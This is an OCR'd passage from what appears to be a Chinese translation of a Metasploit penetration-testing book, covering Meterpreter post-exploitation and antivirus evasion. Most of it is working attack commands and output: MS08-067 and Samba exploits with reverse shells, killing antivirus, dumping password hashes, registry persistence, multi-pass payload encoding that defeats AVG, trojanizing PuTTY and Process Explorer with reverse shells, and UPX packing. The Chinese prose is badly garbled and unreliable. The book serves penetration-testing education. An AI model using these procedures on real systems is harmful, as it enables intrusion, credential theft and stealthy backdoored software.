collisions:0 txqueuelen:0
RX bytes:41386 (41.3 KB) TX bytes:41386 (41.3 KB)

msf exploit(lsa transnames heap) > exploit

[*] Started reverse handler on 10.10.1.129:8080

[*] Creating nop sled....

[*] Trying to exploit Samba with address oxffffe4io0...

[*] Connecting to the SMB service...

[*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.33.132[\1sarpc] ...
[*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.33.132[\1sarpc] ...
[*] Calling the vulnerable function...
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[+] Server did not respond, this is expected

[*] Trying to expleit Samba with address oxffffe41i...

[*] Connecting to the SMB service...

[*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn np:192.168.33.132[\1sarpc] ...
[*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.33.132[\1sarpc] ...
[*] Calling the vulnerable function...

[+] Server did not respond, this is expected

[*] Trying to exploit Samba with address Oxffffe412...

[*] Connecting to the SMB service...

[*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn np:192.168.33.132[\1sarpc] ...
[*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn np:192.168.33.132[\1sarpc] ...
[*] Calling the vulnerable function...

[*] Sending stage (36 bytes)

[*] Command shell session 1 opened (10.10.1.129:8080 -> 192.168.33.132:1608) ©

it ifconfig #7414 (S B O, 5 LHOSTOM RHOST®4: & #H47 Xt bk, 7T LAF 3,
LHOST Z¥i5 e R B diblny 1P Hudik, HAMNERE], RHOST S8/ IP bk T pk I H#x
R4 7R g, RATE S C 2 TG RIPL A E I RRGE, SRXT AT R . XN BT B E
HaE X G ZENS S FROP R A H AT EE . XFMERT, R R, B
BB —A 3k A 192.168.33.132 HI R LN, XA RMER G FE AHAA TERZEZE L L&
IR (S EIE. LA exploit v PUTIRIAAIA, MM —F, SR BEFREH, Ak
Windows XP 3 TH##1E#O0. B, MREAFEHE X AMBETEREIRM, AT CAE
F Metasploit P 8/ scanner/portscan/tcp AR, IR GETRIH IS Metasploit KRR C &2
ST fR) B A

18T thETeA{E A scanner/portscan/tcp 1334 B i BAEME, T B AFT M #ATREH
Wk o iads, XERNMAELE®Y FH, SAIRT T T oAE A X Mk st 8 47T RitfT
Skig &35 T 4345,

ESE AT HIE T, BRITZENE RS S route add #ir4 4 Meterpreter BB & 15V 10 8%
B, WREFEMAsML R —8E, T lﬂiﬁﬁﬁﬁﬁ load auto_add_route 7% :

msf exploit(mso8 067 netapi) > load auto_add_route
[*] Successfully loaded plugin: auto_add_route

msf exploit(mso8 067 netapi) > exploit

[*] Started reverse handler on 10.10.1.129:443

[*] Triggering the vulnerability...

[*] Sending stage (748032 bytes)

[*] Meterpreter session 1 opened (10.10.1.129:443 -> 192.168.33.130:1090)

[*] AutoAddRoute: Routing new subnet 192.168.33.0/255.255.255.0 through session 1

91



Metasploit i&i% MiX 55

6.8 {£ M Meterpreter B A

Meterpreter HI4" & I A< F] LITE Meterpreter %3 BB RET RAE AL, SGEREH L BT
FIMES . XERMAAITENHRATRR A, EE5WRE/DE LA B EER.

$27R: Meterpreter ¢14° Ry A B if EAMSHE] G5 E AR Y, RANEKAETIHER
B L5 R AR S B K Mk,

L “run BIELZFE” 4, W LLTE Meterpreter LI PizfiTH RHA., MAT RS HBiE
17, el aesRpt e A I Eh .

LR F EERERLE LEET M B NEREEEE TR, ReTUMER VNC thilész
RG0S 8 {5 8 BEE 7y AR K, (ERRUT R B R A AL . (B ART,
5215 R G0 Al RESR A BE /Y, TOVRTCIL V) ) BISEH, (BT : Metasploit RESE 7 A 146 & V.

£ P, BAEEIT run vne d54, EEFERL L4 VNC £1F. RGALLETT
screen_unlock dr4 X H Fril a8 LA S AT A8 X AEE 3 B A2 EHUE A VNC #0171,

meterpreter » run vnc

[*] Creating a VNC reverse tcp stager: LHOST=192.168.33.129 LPORT=4545)

[*] Running payload handler

[*] VNC stager executable 37888 bytes long

[*] Uploaded the VNC agent to C:\WINDOWS\TEMP\CTDWtQC.exe (must be deleted manually)
[*] Executing the VNC agent with endpoint 192.168.33.129:4545...

[*] VNC Server session 2 opened (192.168.33.129:4545 -> 192.168.33.130:1091)

XRERFE BTN VNC B mED, Rir R Em.

meterpreter > run screen unlock

[*] 05 "Windows XP (Build 2600, Service Pack 2).' found in known targets
[*] patching...

[*] done!

6.8.1 IRiH#IE

H[BRAMNBE RGN, % EXTE N Internet Explorer 2 258 R BHATRIAR A B, 0HE Héx
FEHLREA T KR, Meterpreter iE WK #xH, NSRS HERERNEREE .. HT
B IX A R, RATTA] LA A E B AR B J5 12 B BB, #F Meterpreter £1& 1T 3 Py 77431
THRHERER . ASHRXHARREARE D, DIgERFIREHRERHES.

meterpreter > run post/windows/manage/migrate
[*] Running module against V-MAC-XP
[*] Current server process: revterp.exe (2436)
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[*] Migrating to explorer.exe...
[*] migrating into process ID 816
[*] New server process: Explorer.EXE (816)

6.8.2 XxHFTFERH

AR UL RS . ERENRSET, FRAFERENZNAREH~ 62
I BABET R BTG, EXFER T, BATALUZAT killav 7 BRI 1L R

meterpreter > run killav

[*] Killing Antivirus services on the target...
[*] Killing off cmd.exe...

[*] Killing off cmd.exe...

6.8.3 REARKEEMABIE

REL R G S A5 M & A5 o] AR BY IR SE e B EAL B HGE, BURHITM HE R R
L E R RS, "] AE L run hashdump & K15 E 95 75 {E -

meterpreter > run hashdump

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY ded4b35306c5f595438a2f781768772d2. ..
[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hashes...

Administrator:500:e52cach7419a9a224a3b108f3fabcbbd:8846f7eaee8fb117ad06bdd830b7586¢:

6.84 EEBWH LMEIBRE

HEAFINHKFERE LMAAEMREHRE, TETEEECIEA. MR
L. peap B13CAEME A48 TR, HAEWHE Wireshark S5 T H#H. TR 1| HBHIEITE
BECREAE, el kB ErMFR.

meterpreter > xun packetrecorder -i 1
[*] Starting Packet capture on interface 1
[*] Packet capture started

6.8.5 HERALES

Scraper AT LIS HARE M RABBIFEAIER, ATLBEAH P 2FMEHE. TEEH
EME. ZHEFELBRAE. WERSE B LA E HKEY _CURRENT_USER (HKCU).
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meterpreter > run scraper

[*] New session on 192.168.33.130:1095...

[*] Gathering basic system information...

[*] Dumping password hashes...

[*] Obtaining the entire registry...

[*] Exporting HKCU

[*] Downloading HKCU (C:\WINDOWS\TEMP\XklepHOU.reg)

6.8.6 ITHIFAL

Meterpreter [1] persistence | A< 0 1T{E A Meterpreter {CHE, LR R4 E 4 2 J5 Meterpreter
AAEIZTT . KRR BRERE A, AR B EZRLGEIURN ) PR, R EYEE A5, "TW
B AR E I TR) A2 TT T 1

BE. WwREREFEAZXANHEE, HTARTRZGHTHY, WwiE S THYE, ETER
FR VA FUNIAGE, FRILF| XA & 46915 19 4L,

WIFHran, WANIZEAT persistence AL RGP H ) 85 Meterpreter (XD, 50 (- 50)
HE— I {8 B3 1108 443(-p 443), R B H9 1P 4 192.168.33.129. 88 /5 /| use multi/handler
LU IRWO, fERE T KRS /ST exploit T2, o] LUE B M AR —FE L T 3%
%0,

meterpreter > run persistence -X -i 50 -p 443 -r 192.168.33.129

*] Creating a persistent agent: LHOST=192.168.33.129 LPORT=443 (interval=50 onboot=true)
*] Persistent agent script is 316384 bytes long

[
[
[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\asSnqrlUDRwO.vbs
[
[
|

*] Agent executed with PID 3160

*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\xEYnaHedooc @

*] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
xEYnaHedooc

msf> use multi/handler @

msf exploit(handler) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp

msf exploit(handler) > set LPORT 443

LPORT => 443

msf exploit(handler) > set LHOST 192.168.33.129

LHOST => 192.168.33.129

msf exploit(handler) > exploit

[*#] Started reverse handler on 192.168.33.129:443

[*] Starting the payload handler...

[*] Sending stage (748032 bytes)

[*] Meterpreter session 2 opened (192.168.33.129:443 -> 192.168.33.130:1120) ©




HB6IFE Meterpreter

T A HU T, B BR Meterpreter {2 () ME— 737202 Ml B HKLM\Software\Microsoft\Windows\
CurrentVersion\Run\" 33 At Z & f C:A\WINDOWS\TEMP\H ] VBScript 34, F_CHHIERIFid 3k
MR (Wl HKLM\Software\Microsoft\Windows\CurrentVersion\Run\xEYnaHedooc® ). —
] LA T Meterpreter %3 shell B ik 47 AH IR . an RARHER A GUI B A /G, "TLMEM run
vne A4 TERE ST AE VE M R AT BB . GV REM R P RS RIB LK, FrUAEE
Metasploit ¥ 03 /H} 2 8 i) BT 10 % . )

6.9 MIFEEREHERLET

BRI B I FEE, Meterpreter 47 BB I 7E 4 M 18 ¥ ¥ A G 1B B B e, B 2R
Metasploit #H# F g8 — B bR FIRE =X o f5 10 B9 559 07 DL 24 B AR B AR iR BU R B ) 5E BB 455
4. Meterpreter JIACLRTAER] B CRUAE N, FAHARMREREIX AR K.

MR ) G — 8 AR AL 2 — BT LTE A SiE Al SE A R Bt . w—F, v, IR
A 10 NI Meterpreter #3%. LLRT# EEMA &1E R — #1217 hashdump <, HY
5 5T il B o T IRAE , W SR T EE RS, U8 AT LRI A i 2 2E4T 28 |, [R]HZ 4T hashdump
4%

THRACERER T W H 5 2@ BB R4 1

meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY de4b35306c5f595438a2f78f768772d2...
[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hashes...

W RARS| B A KR B E AR, WTUXFmARGEREK TAB #:

meterpreter > run post/

6.10 1F4r<1T Shell A4 Meterpreter

Metasploit HEZE ] — M FIThAER v LAfE R A B G HIBTIREF sessions -u @K@y 17T
shell 7% % Meterpreter. R AT R AIE 5 FH fr-21T shell EARRGE, FR AKX S LA
Rt BB MG R e RBR, XA 1E A E A Meterpreter B2 RBEERTH. T
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1 BB 728 Fl MS08-067, LA 36y 44T shell YE24 payload, #8J5 4 H2% 4 Meterpreter shell
SR IPUR

root@bt:/opt/framework3/msf3# msfconsole
msf > search ms08_067
[*] Searching loaded modules for pattern 'mso8 067'...

Exploits

SEETEEEEE

Name Rank Description
windows/smb/ms08 067 netapi great Microsoft Server Service Relative Path Stack
Corruption

msf > use windows/smb/ms08_067_netapi

mst exploit(ms08 067 netapi) > set PAYLOAD windows/shell/reverse_tcp

payload => windows/shell/reverse tcp

mst exploit(msO8 067 netapi) > set TARGET 3

target => 3

mst exploit(ms08 067 netapi) > setg LHOST 192.168.33.129 ©

LHOST => 192,168.33.,129

mst exploit(ms08 067 netapi) > setg LPORT 8080

LPORT => 8080

msf exploit(msO8_067 netapi) > exploit -z ©®

[*] Started reverse handler on 192.168.33.129:8080

[*] Triggering the vulnerability...

[*] Sending stage (240 bytes)

[*] Command shell session 1 opened (192.168.33.129:8080 -> 192.168.33.130:1032)
[*] Session 1 created in the background.

msf exploit(mso8 067 netapi) > sessions -u 1 ©

[*] Started reverse handler on 192.168.33.129:8080

[*] Starting the payload handler...

[*] Command Stager progress - 3.16% done (1694/53587 bytes)
[*] Command Stager progress - 6.32% done (3388/53587 bytes)

- - « SNIP . . .

[*] Command Stager progress - 97.99% done (52510/53587 bytes)
[*] Sending stage (748032 bytes)
msf exploit(ms08 067 netapi) > [*] Meterpreter session 2 opened (192.168.33.129:8080 ->

192.168.33.130:1044)
msf exploit(mso8_067_netapi) > sessions -i 2

[*] Starting interaction with 2...
meterpreter >

FAEF setg i1 i B LHOST ! LPORT %0, iX7F{FH] sessions -u 1 {4 OTH4 4
Meterpreter FJFf xR LFH . (setg f34H LPORT 1l LHOST 2% B X Metasploit {14 F3E
®, MARRBEX —TERZA. )

96



#£6E Meterpreter

VE BT R RRAE A T exploit -z 14 ®, XA 4 A VF7E R Ih Bty B bR G H
B A | 2 E T A H . R X BAE 2 exploit 74, AJLLE # % CTRL-Z 674
S EENE G817

6.11 iEiZMiINEY Railgun B4&3%1E Windows API

Patrick HVE %5 (1) Metasploit [ IZH {4——Railgun, 7] LIH#YS Windows AHh API AT
AZH . % Railgun 750 %] Metasploit HE42, ¥Rt AT LAEIT Meterpreter 8 ] Windows APL. %5/~
T, 7EFHEAMRES, HATH Meterpreter #E A E|—/ 38 H A H) Ruby shell(irb). irb shell fLi¥F1#
Fi Ruby RJiE#: S Meterpreter HREAZ B, XM EATTH A Railgun G — M RIHHE) “hello
world” HIHHE.

meterpreter > irb

[*] Starting IRB shell

[*] The 'client' variable holds the meterpreter client

»> client.railgun.user32.MessageBoxA(0,"hello", "world","MB OK")

7F Windows XP HAr £ 4 L, nJULEFISHAE I, #7848 R world (% B+~ _E2“hello”,
XA, BATE P AN SEE R T user32.dil 1ff) MessageBoxA ER# .

. & T Windows API #1¥ & 4%, =] ¥Ai7 9] http://msdn.microsoft.com.

X B A A VR A4 Railgun 2044 A998 (R 0] LAZE R A Metasploit HEZE H 5k FIR1G 45
FFft: external/source/meterpreter/source/extensions/stdapi/server/railgun/), 1{H PR LU B
[ 5R K LhRE -

B A2 B Railgun ENRIZEAE S Win32 AH NV HIFEF—# 15 1] Windows API HIHE ST .

6.12 /g5

{B EARILYE N Meterpreter 28 T 724 1 #% .. A1 A X Meterpreter )i H ThRe flI S ¥
AT, BRI EREEM A L fpriz A P B LR . Meterpreter & —/NIETERFEETF R H)
TR, Ky BHMAAMIN TR, S92 THREMFENDRBN K, /REERSE
HEREMBFRATET . 3 16 TR, RESFZIWMAMLIFEK R B R Meterpreter 14,
I T 1% 3| Meterpreter FHl A< i 3 44 45 44 2 Wil ¥ it 1
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% 0 =
o ®H A

FEATBFER AR, B AR TR AR RSN R, XEE—TMRA S # B
BRI W RBA FAMUF T RIHT AR LEHE, BARK BARRAT RSB RB), HFRMB
ke 5. EATES, BRANLFFE - EFEEBRAFREGNSE, H BT e — LN
RITE.

K EEARERAE AR (signatures) KIAGERAN . XEGEWNREAERTT BT,
Rk RS A REHE T4, JFFRILAN R . KL RE, RERAFSHHENMALER
B: KEWSHBIREN _EHCHRE, RAREESITHHE.

RMZeT LIRS 3], X ARFRARE AEME. 8%, SRS EABREEX, FEE
AT KRS AT RN AT RERE . K, HERLALBER, NAE



Metasploit &% .38 i

AKBLVRIE SRR lA, M ARRR SRR KPR SEILR KA 7 5, (ER RN A
EHARAEF HINH .

R, RERE RREREARAWRY, XMOARZEEEBMLAL. WERR
BRI RIER FBGEEGTET ), AR T RESA BRI .

A TBIFRBEAF, BATAT LA R BRI RIPE H i — M — B a8,
EAS RN OMERF LA UCES . A, M7 HEMIBBEGEN, Metasploit R0 8
AU AEAFIZTT, DNREREBIREARES b, IHRMNRESE I BRSNS,
REZORTEHAF A LA e O B AR R S LIZAT,

ERFETRMNNELALICHE R ENGS, MEEEEQRALCHETTZNES., BIIE
FR LR AE A RE S MR AT ARG, JHEHX BN ARG ETERERE, FENARE
SRAFRARFFEELA. ¥EAAER, BOIEEHEEEHAMLR,

7.1 {£H MSF B #8174 2% 62 AT R LS 1T B i §i S2 4

FEBUR R RBARZ T, SALTRA1E B W) MSF B 8774 38 (msfpayload) Iz —
AT AZEATH) Metasploit BATRRF . 1 h¥I%EE, TATS00EE — M M AR 28 shell F/7, &
£ 5 JE % B Kk L, B — A 44T shell. X B RA1{E A msfpayload & 4 2 A
windows/shell_reverse_tcp Bl far. JFUETHT, FATTfEH shell_reverse_tep BUili B i O Ik &
AR, WeHiR.

root@bt:/# msfpayload windows/shell_reverse tcp 0 ©

. « SNIP ., ., .
Basic options:
Name Current Setting Required Description
EXITFUNC process yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port

BLZE AT H — K17 msfpayload p4, I L4 Windows PE 304 ({83 al #0471 3044)
Frib TS TS ZERBINFTEMERA WO /R X S5 UL &5 H L8R

root@bt:/# msfpayload windows/shell reverse tcp LHOST=192.168.1.101 LPORT=31337 X © >
/var/www/payloadi.exe |

root@bt:/# file /var/www/payloadi.exe

var/www/payloadi.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit

MAERATG T — AT 47 30, Tl 146 B multi’handler B 7E MSF 35 FE5 -4 4
W28 . multi’handler FEER fo1'F Metasploit X S B 4T M0 A AL 2
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msf > use exploit/multi/handler ©
msf exploit(handler) > show options ®

. SNIP . . .

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description
EXITFUNC process yes Exit technique: seh, thread, process
LHOST 192.168.1.101 yes The local address
LPORT 4444 yes The local port
L] mlp L] L] "

mst exploit(handler) > set PAYLOAD windows/shell reverse tcp @
PAYLOAD => windows/shell reverse tcp

mst exploit(handler) > set LHOST 192.168.1.101 ©

LHOST => 192,168.1.101

msf exploit(handler) > set LPORT 31337 ©

LPORT => 31337

mst exploit(handler) »

BAVEANT multithandler #3530, FERERFFHENSEHO. RGEERHFEMN N
Windows S5 shell®, LAUCHECEATISCHTE) KA 04T 304, FHa e unr g 1P #ihle, L&
Wi @ . BACRTHER T/EC 5Bk

7.2 BRBERFIARIAE

£ NI B 7 PRIV 2RI AVG REFERMER RATF. BT RACHE LR
WEANHRAIT=R, FRRKENE, LRI B s LR RFRHET AT, WEFEE
HEsH BomE 7%, LA GRBAT B 8T e A2 1T .

ERPIH, JEAVEH AVG X AR BEEA S TRAR, AVG #if R T W,

e 7-1 Frow
File Componsnts Hstory Tools Help
AVG —
Anti-Virus v,
Free Edition

ocan results

Hnﬁm Elnlctlms |

. D e iyt oL,
L) A
i LA,

I R Y

& 7-1 AVG Rl iH AT BGHEAT A5 EERAE
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7.2.1 {E/H MSF 45t3s%

B A R R 2 fER MSF 4348 (msfencode) X AR 8wy SCAF2E1T
HEHgehS. MSF Ffga%2 — N ER SCH TR, eSS HiT X RARBEER, ibRTH
B AAHERRPEE T, MEFIREASZ BTN F0 1 HE4- b 214 ] Base64 %
PS4, MSF Sah ¥ IR a5 ) nl SATREFF B g hS, ¥ E R — ANy —BEmISCHF. B
BT )5, MSF Zat545- 2R [R 4G e 13 i 65 31 N A7 FF 0T .

A LU{# A msfencode -h i3 #FH MSF 4B &M S8, 19 PEAEENZ SR
HMAAKBPISE. o FEGFHrR, BT L msfencode -1 5| H BT & o] H HidiE . 5
EEAFPSEEEHTARKRERE T 6. B TREAR, —4 Power PC (PPC) %Y
4y B U AE x86 °F & L AR VA IEH TAE.

root@bt:/opt/framework3/msf3# msfencode -1

Framework Encoders

Name Rank Description

cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
generic/none normal The "none” Encoder

mipsbe/longxor normal XOR Encoder

mipsle/longxor normal XOR Encoder

php/baseb4 normal PHP Baseb4 encoder

ppc/longxor normal PPC LongXOR Encoder

ppc/longxor_tag normal PPC LongXOR Encoder

sparc/longxor tag normal SPARC DWORD XOR Encoder

x64/xor normal XOR Encoder

x86/alpha_mixed Low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder

x86/avoid _utf8 tolower manual Avoid UTF8/tolower
x86/calld dword_xor normal Call+4 Dword XOR Encoder

x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder

x86/nonupper Low Non-Upper Encoder

x86/shikata_ga nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single static_bit manual Single Static Bit

x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
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BTE RFEEAK

P 7E 38 75 an o] % MSF B 8 fr 3E AT 4w s, IRATK msfpayload A B IR 45 £U4E 0 A
msfencode ', F A FE 4= B AT AT SO B S A 2 3 AR T ARG 1)

root@bt:/# msfpayload windows/shell_reverse_tcp LH0OST=192.168.1.101 LPORT=31337 R O|
msfencode -e x86/shikata ga nai ® -t exe @ > /var/www/payload2.exe
[*] x86/shikata ga nai succeeded with size 342 (iteration=1)

root@bt:/# file /var/www/payload2.exe @
/var/www/2.exe: M5-DOS executable PE for MS Windows (GUI) Intel B0386 32-bit

BATE msfpayload iy 5 MR IN R ARE QS VrE 5 h RaGEH#E, K OH A7 TR R 8k
i EEE T i ¥\ msfencode 4. #55E {#H] x86/shikata_ga_nai Zif525@, JF%UF MSF &
ﬂﬂ%&ﬁﬂ%m&bwmﬂﬁ-ﬁﬁ%iﬁﬁﬁMmeﬁ@&Mhmu%Esﬁmﬁiﬁm
AR AT RECEAIR O, B A R R Windows AT HRAT SCHEAE R, BB g R & IR ERAT S
WA, RTIAFERRE, JIEANTE payload2.exe ¥ VL 3| A1) Windows £ 41 L5, B2 REE
kit AVG B8, W 7-2 B,

File Components History Tools Help

4 AVG - You may nol hf prote :l.*.'IH I‘.ﬂ . 3 L r." — r

Anti-Virus
Free Edition

~ Scan results

L L | Results overview ihiecl:u:nns
; ; Fie Infection Aesul

B 7-2  AVG #rild B AT 145 fm W B 8 SO R A R AR

722 ZERD

IR R 3 SO LR TS, RATAR R Z R B R ETT M2 B
Wk, WA SCHHATRS, TABRESSHEEHERFREE, MMmAESAN HE %NS
3. 7F Metasploit HEZErh, FRATAILL# A £ Em S H A KB X FRBL, X FEEA xS
Kk 8 U AT 2 IR, LA R BRI IEE R .

ZE /i 1 B F 1 f# FI 1) shikata_ga_nai 45 RZE LA (polymorphic) K, WMELREY, X
H A B R SO AN R . RBEE AR BB R AT P R AR — N R RA
RSO E R, TR,
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TEATIBENR AT, TRATIHETE VR 2238 — DUt RR A 2% 33 TR A T B A 2 ) S i AT R,
CLR R A AW . TR —MEH T 2 TSR] 1

root@bt:/opt/framework3/msf3# msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.1.1201 LPORT=31337 R | msfencode -e x86/shikata ga nai -c 5 O
-t raw ® | msfencode -e xB6/alpha upper -c 2 @ -t raw | msfencode -e
x86/shikata_ga nai -c 5 @ -t raw | msfencode -e xB6/countdown -c 5 @
-t exe -o /var/www/payload3.exe
[*] x86/shikata ga nai succeeded with size 318 (iteration=1)
[*] x86/shikata ga nai succeeded with size 345 (iteration=2)
[*] x86/shikata _ga nai succeeded with size 372 (iteration=3)
[*] x86/shikata ga nai succeeded with size 399 (iteration=4)
[*] x86/shikata ga nai succeeded with size 426 (iteration=5)
[*] x86/alpha upper succeeded with size 921 (iteration=1)
[*] x86/alpha_upper succeeded with size 1911 (iteration=2)
[*] x86/shikata_ga nai succeeded with size 1940 (iteration=1)
[*] x86/shikata ga nai succeeded with size 1969 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 1998 (iteration=3)
[*] x86/shikata ga nai succeeded with size 2027 (iteration=4)
[*] x86/shikata_ga nai succeeded with size 2056 (iteration=5)
[*] x86/countdown succeeded with size 2074 (iteration=1)
[*] x86/countdown succeeded with size 2092 (iteration=2)
[*] x86/countdown succeeded with size 2110 (iteration=3)
[*] x86/countdown succeeded with size 2128 (iteration=4)
[*] x86/countdown succeeded with size 2146 (iteration=5)
root@bt:/opt/framework3/msf3#

WAVERH T 5 K shikata_ga nai iSO, 45155 KR EIEO 4T 2 Ik alpha_upper
4@, FRJG BT 5 1K shikata ga nai Zwi53@, #EH AT 5 K countdown RiZO, 854K
ATHAT SO A T T RALEE, XERNT B —ILHATT 17 K%, Wi 7-3 7
Fros, SR IRBATI R B BAT e Dh b 38 T AR5 5 ) SRR .

Scan results

B | PBesults overview |

Scan "Shell extension scan'' was imshed

¥4 Nointechon was found during this scan

Folders selected for scanning: C:\Diocurments and Setings\VAdminiztrator\Desktop\papoad3. exe;

B 7-3 AVG R H 22 g £ 00N A 85
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7.3

R
| H
]
i,

RTE RFEK

S TE MR T LR R

EHELF, 217 msfencode a2 M, T HUaT 4k A B BRI IR PAT TR, BRIA
AL T data/templates/template.exe. BIRZ M SCH2 0 A EHH, HEKTREREYH
TEENE R RN R B RV EXR R . LB b, AT H) msfencode SCRF(E H-x ZEIR{E A £E
Windows AJHhATFE /7R BOAARAR S A T RG], BATTEHON Bl B 21T %
JH ¥ K Sysinternals F44 [ Process Explorer F2/545 4 H & X ] 147 72 PR .

root@bt:/opt/framework3/msf3# wget http://download.sysinternals.com/Files/
ProcessExplorer.zip ©

. « SNIP . . .
2011-03-21 17:14:46 (119 KB/s) - 'ProcessExplorer.zip' saved [1615732/1615732]

root@bt:/opt/framework3/ms¥3# cd work/
root@bt:/opt/framework3/msf3/work# unzip ../ProcessExplorer.zip @
Archive: ../ProcessExplorer.zip
inflating: procexp.chm
inflating: procexp.exe
inflating: Eula.txt
root@bt:/opt/framework3/msf3/work# cd ..
root@bt:/opt/framework3/msf3# msfpayload windows/shell reverse_ tcp
LHOST=192,168.1.101 LPORT=8080 R | msfencode -t exe -x work/procexp.exe @
-0 /var/www/pe_backdoor.exe -e x86/shikata ga nai -c 5
[*] x86/shikata ga nai succeeded with size 342 (iteration=1)
[*] x86/shikata_ga nai succeeded with size 369 (iteration=2)
[*] xB6/shikata_ga nai succeeded with size 396 (iteration=3)
[*] x86/shikata ga nai succeeded with size 423 (iteration=4)
[*] x86/shikata ga nai succeeded with size 450 (iteration=5)

R pr W, EAIM Microsoft M3 R, T Process Explorer #/4@®, H ¥ LA MEE®. i

it H-x #REFEE T 8 Process Explorer — Bt SO FAERATIHG B & XBR O . &WigERfE, &

1138

it msfeli J3 8) multithandler FRBHA A3 REEHATIRVT, WF s

root@bt:/opt/framework3/msf3# msfcli exploit/multi/handler PAYLOAD=windows/
shell reverse tcp LHOST=192.168.1.101 LPORT=8080 E

[*] Please wait while we load the module tree...

[*] Started reverse handler on 192.168.1.101:8080

[#] Starting the payload handler...

[*] Command shell session 1 opened (192.168.1.101:8080 -> 192.168.1.195:1191)

C:\Documents and Settings\Administrator\My Documents\Downloads>

F, AT FTFF T — N ZFEN shell, THEBHERABRERIN!
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Scan results

!

Folders selected for scanning: CADocuments and 5etiings‘\Admimstrator\Desktopi\pe_backdoor exe;

E 7-4 JEITHETIEFAEY AVG R

7.4 [Rbih /=B — B

RNEZHAGH T, S[WIBGERIA P 1247 R A TRIR A pR R Z R & Ja T8 AT 34T ST
Hra#Ea kA, KRR A/ KWEE. 4 T % BB, R UL R 31 B8
FER, ibfg FRFIERETEXR, WFFR:

root@bt:/opt/framework3/msf3# wget http://the.earth.li/~sgtatham/
putty/latest/x86/putty.exe ©

L L] mIF L - -

2011-03-21 17:02:48 (133 KB/s) - ‘putty.exe' saved [454656/454656]

root@bt:/opt/framework3/msf3# msfpayload windows/shell_reverse_tcp
LHOST=192.168.1.101 LPORT=8080 R | msfencode -t exe -x putty.exe -o /var/
www/putty backdoor.exe -e x86/shikata_ga nai -k ® -c 5

[*] x86/shikata_ga nai succeeded with size 342 (iteration=1)

[*] x86/shikata ga_nai succeeded with size 369 (iteration=2)

[*] xB6/shikata ga nai succeeded with size 396 (iteration=3)

[*] xB6/shikata_ga_nai succeeded with size 423 (iteration=4)

[*] x86/shikata ga nai succeeded with size 450 (iteration=5)

IXBEHATTET Windows 85 F ) SSH & i PuTTY @, 2R f5 {8 -k 3£ TN AL 3 PuTTY@®.
-k AR B WS E A E ML ER P EE), XEE EEFERTHASZE . A
7-5 Bizn, HAER AVG STAERBISCEEREE, BRERARE, mHIR[M shell J5, PuTTY &7
PR EFZBIT! (kEIA—EREFAENE K THATER L, ELBFERG TR LT
LIGHBE P IEAT TR, )

I RARIT BB B R A A B0 AT 3, w BRAE A -k R, A4 B B R
R . RAMRRERT AT AR, SBhESaRsE, EaEHEEN
R EER—DMRSITELD, XMFOEINBEEAERATEREASH K. 1w RA4EHE A
AR, BEEE-kS2H, A8 mEs RS TEMEIAT O . XN mT,
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RO B T AL PR ORFFER R RS

_ Scan results

‘l"__l-'..b'l_l'“-.:'.';. .
T e e Hezults overview

: LR -‘“-I' Scan ''Shell extension scan'' was hirished

4 Shell extenzion scan

& W [ Noinfection was found during this scan

Folders selected for scanning: C:A\Documents and Settings\Admeustrator\Deskiophputty_backdoor exe

K 7-5 AVG A HE A CHEREEER

7.5 InEHM4

MG R — 2 RS X AT AT SCEREAT I IR 48 R R A A P I TR . 4t 7
I SCHEBERAT R, ARIEARES S M E PR 48 0 S0 o S 2 AR 3HEAT . X B it F /o BB
(1, LA G BOFR R AT R SRR RS A . RIS, WTHRATSCMEE N, TThAE S BRI T
E—#.

] MSF Zmidas—FF, InFe8dth o] AU W AT SO IS5 ). SR1M0, MSF 4RSS H 2
38 00 AT AT SCEE RIS, TR OB B I PS8R 1 2 R Rl B0, — 7 TR X /T AT SC AT
s, 5L e HARBUEAT R 4E . I, A7 Back|Track H1{# )32 %@ ¥ UPX 0k
YRR AR payload3.exe HEATGIBAIES, LLARAHZ BT S R AbFE .

root@t:/# apt-get install upx ©

w S'HIP ] - [ ]
root@bt:/# upx @
Ultimate Packer for eXecutables

Copyright (C) 1996 - 2009
UPX 3.04 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 27th 2009

Usage: upx [-123456789d1thVL] [-qvfk] [-o file] file..
« « » SNIP . . .

Type "upx--help' for more detailed help.
UPX comes with ABSOLUTELY NO WARRANTY; for details visit http://upx.st.net
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root@bt:/# upx -5 /var/www/payload3.exe ©
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2009

UPX 3.04 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 27th 2009
File size Ratio Format Name
37888 -> 22528 59.46% @ win32/pe payload3.exe

Packed 1 file.

BATE LS T UPX 8140, HAVMA—IPANTSER UPX 4 @UIEE & L7l 225k
